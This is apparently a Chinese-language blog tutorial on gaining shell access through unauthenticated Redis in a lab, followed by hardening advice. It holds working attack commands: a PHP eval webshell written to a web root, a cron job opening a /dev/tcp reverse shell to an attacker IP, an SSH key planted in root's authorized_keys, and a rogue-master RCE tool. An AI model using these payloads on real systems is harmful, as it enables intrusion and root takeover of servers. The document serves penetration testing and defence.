您现在的位置是:首页 >技术交流 >redis未授权getshell四种方式网站首页技术交流

redis未授权getshell四种方式

h1dm 2023-06-10 04:00:02
简介redis未授权getshell四种方式

一、redis环境搭建

Redis下载地址:http://download.redis.io/releases/redis-4.0.2.tar.gz

1.靶机安装redis-centos7

第一步:下载wget
yum -y install wget 
第二步:下载redis
wget http://download.redis.io/redis-stable.tar.gz
第三步:解压redis
tar -zxvf redis-stable.tar.gz 
第四步:解压后需要编译
make
make报错:make MALLOC=libc     make distclean
第五步:进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)
cp redis-server /usr/bin
第六步:将redis配置文件复制到/etc目录下
cp redis.conf /etc
第七步:启动redis服务器
redis-server /etc/redis.conf

1.yum -y install wget 下载wget
2.下载redis
wget http://download.redis.io/redis-stable.tar.gz
3.解压redis
tar -zxvf redis-stable.tar.gz
4.进入到redis-stable 目录后,使用make编译
image.png
5. 如果出现如下图所示提示 “Hint: It’s a good idea to run ‘make test’ 😉”,代表编译成功
image.png
6.进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)image.png
7.回到redis-stable将redis配置文件复制到/etc目录下
image.png
8.启动redis服务器redis-server /etc/redis.conf
image.png

2.攻击机安装redis-cli-kali

#下载redis
wget http://download.redis.io/redis-stable.tar.gz
#解压redis
tar -zxvf redis-stable.tar.gz 
#进入redis-stable解压后需要编译
make
make报错:make MALLOC=libc     make distclean
#进入src目录,将redis-cli复制到/usr/bin目录下(这样启动redis-cli就不用每次都进入安装目录了)
cp redis-cli /usr/bin
#常规连接指令
 redis-cli -h 目标主机ip地址 -p 端口号  

1.下载redis
wget http://download.redis.io/redis-stable.tar.gz
image.png
2.解压redis
tar -zxvf redis-stable.tar.gz
image.png
3.进入redis-stable解压后需要编译
image.png
4.如果出现如下图所示提示 “Hint: It’s a good idea to run ‘make test’ 😉”,代表编译成功
image.png
5.进入src目录,将redis-cli复制到/usr/bin目录下(这样启动redis-cli就不用每次都进入安装目录了)
cp redis-cli /usr/bin
image.png
5.常规连接指令
redis -cli -h 目标主机ip地址 -p 端口号

3.错误排查

现象描述:
使用namp探测端口,探测攻击机能否连接,通过测试发现,连接不上。
image.png
解决方法:

  1. 检查redis是否启动
ps -ef | grep redis 

image.png
2.关闭防火墙,并永久性开启自禁止

systemctl stop firewalld.service   #关闭防火墙
systemctl disable firewalld.service  #并永久性开启自禁止

3.如果上面都没有问题,外部还是连接不上,修改/etc/redis.conf配置文件,设置如下

bind 127.0.0.1 ::1
bind 192.168.xx.xx     #将服务器IP写入
protected-mode  no     #将yes改成no

image.png
image.png
4.重新启动一下redis,测试连接正常

redis-server /etc/redis.conf

image.png

二、redis漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作 。

三、拓扑图

四、redis四种getshell方式

1.直接写入shell脚本

1.1前提条件

  • 低版本或者enable-protected-config yes

  • 知道网站绝对路径,并且需要增删改查权限

     获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏
    
  • root启动redis

  • redis弱密码或者无密码

1.2redis写入shell

命令:

redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"
redis:6379> save

测试语句截图:
image.png
测试结果:
image.png

1.3注意

133行no改为yes,只有这样才可以修改配置文件
image.png

如果不修改这一步,会报错
(error) ERR CONFIG SET failed (possibly related to argument ‘dir’) - can’t set protected config   

当然,如果你没有这一行,证明你的版本没有此保护,可以忽略这一步操作。
这是高版本redis的保护机制,所以目前redis未授权的反弹shell或是写入ssh都只能在低版本利用,同时反弹shell对系统要求也有限制,这里只成功在centos中复现成功。

2.定时任务写入反弹shell

2.1在攻击机上监听888端口等待反弹shell

nc  -lvp 888

image.png

2.2在redis中写入定时任务

set shell "

*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.181.128/888 0>&1

"
config set dir /var/spool/cron/
config set dbfilename root
save

测试语句:image.png
测试结果: 需要等待一段时间
image.png

3.写 ssh-keygen 公钥登录服务器

3.1原理:

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

3.2条件:

1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

3.3攻击机kali生成公钥

3.3.1生成公钥

image.png

3.3.2找到公钥文件

命令:

cd /root/.ssh
ls
cat id_rsa.pub

image.png

3.4将公钥文件上传靶机上

redis-cli -h 192.168.33.134        #连接目标主机redis
config get dir                  #检查当前保存路径
config get dbfilename              #检查保存文件名
config set dir /root/.ssh/         #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz "


 公钥 


"         #将公钥写入xz健
save                         #进行保存    
set xz "


 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB/xUoAg9JSLUpOmh9xT5wunGPlV7+zdMHhbiphccjDn8HqRjr0EddrI6hYymaj0rcj57PQHXy0TOUP44gnVQtE0il07XHOzwvY3Suz25FE0wjK1Pb8Vsw6wU6m/GBQGXSSsui9srVA4w39yH65t4mGXnNn6H2X74x8j6csoXeDNZTNpvXgKzTA8JiczyrkxhrTQ+iR7O2ysWNkxucZCE7weD8yEqLsSpJDk37VQPqsClyK+U7uqZWEsCFmXujK/sPHPhWQ6IgmgX7JoGTATkpCRVWQh5vowznHMw2pYdwsc30+CUCzrUvQ/i1V2k3DXpVW7iqS+DDKrXp/uXRjwzDVl2w4cdBnaxxEUWf18tmObMfmITOYB/w1CLjzbVHkrzAFUpmeuptNgDedon8+FYrWiy8R7HZ1TyN5ksQ0eQUXzAoW+48qYAF6GvZFMryevfUIzAaPf6h/n8X2hPRiiTav3z4BofHPQEVwk38QQguwoKixOkgbn20+4GBD5P9/DM= root@DESKTOP-GLKEQ3E 


" 

测试语句:
image.png

3.5利用私钥远程登录redis的22端口

ssh  -i  /root/.ssh/id_rsa  root@xx.xx.xx.xx

image.png

3.6服务器开启ssh

[root@host ~]# vi /etc/ssh/sshd_config
下面两行打开注释
PubkeyAuthentication yes
# 重启sshd服务
[root@host ~]# systemctl restart sshd.service
[root@host ~]# systemctl status sshd.service

image.png

4.Redis主从复制getshell

4.1原理:

Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。

4.2条件:

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
redis弱密码或者无密码
root启动redis

4.3 攻击主机kail操作

kali下载利用工具https://github.com/n0b0dyCN/redis-rogue-server

 wget https://github.com/n0b0dyCN/redis-rogue-server

交互式shell

python3 redis-rogue-server.py --rhost 192.168.181.89 --lhost 192.168.181.129 --exp module.so

根据提示输入i进入交互shell
反弹shell

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根据提示输入r,接着输入ip和端口进行反弹

ps:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从

五、修复建议

1)禁止一些高危命令(重启redis才能生效)
修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL “name1”
rename-command CONFIG “name2”
rename-command EVAL “name3”
2)以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
3)为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
4)禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。
5)修改默认端口
修改配置文件redis.conf文件
Port 6379
默认端口是6379,可以改变成其他端口(不要冲突就好)
6)保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh
7)设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。